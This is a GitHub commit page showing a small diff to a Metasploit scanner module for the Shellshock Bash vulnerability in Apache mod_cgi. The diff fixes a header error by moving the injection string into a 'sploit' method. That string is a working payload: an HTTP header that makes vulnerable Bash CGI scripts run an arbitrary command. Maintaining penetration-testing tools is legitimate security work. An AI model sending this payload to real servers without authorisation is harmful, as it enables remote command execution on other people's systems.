Skip to content

Commit 71d6b37

Browse files
committed
Fix bad header error from pure Bash CGI script
1 parent df44dfb commit 71d6b37

File tree

1 file changed

+5
-1
lines changed

1 file changed

+5
-1
lines changed

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -101,11 +101,15 @@ def req(cmd)
101101
'method' => datastore['METHOD'],
102102
'uri' => normalize_uri(target_uri.path),
103103
'headers' => {
104-
datastore['HEADER'] => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
104+
datastore['HEADER'] => sploit(cmd)
105105
}
106106
)
107107
end
108108

109+
def sploit(cmd)
110+
%Q{() { :;};echo -e "\\r\\n#{@marker}$(#{cmd})#{@marker}"}
111+
end
112+
109113
def marker
110114
Rex::Text.rand_text_alphanumeric(rand(42) + 1)
111115
end

0 commit comments

Comments
 (0)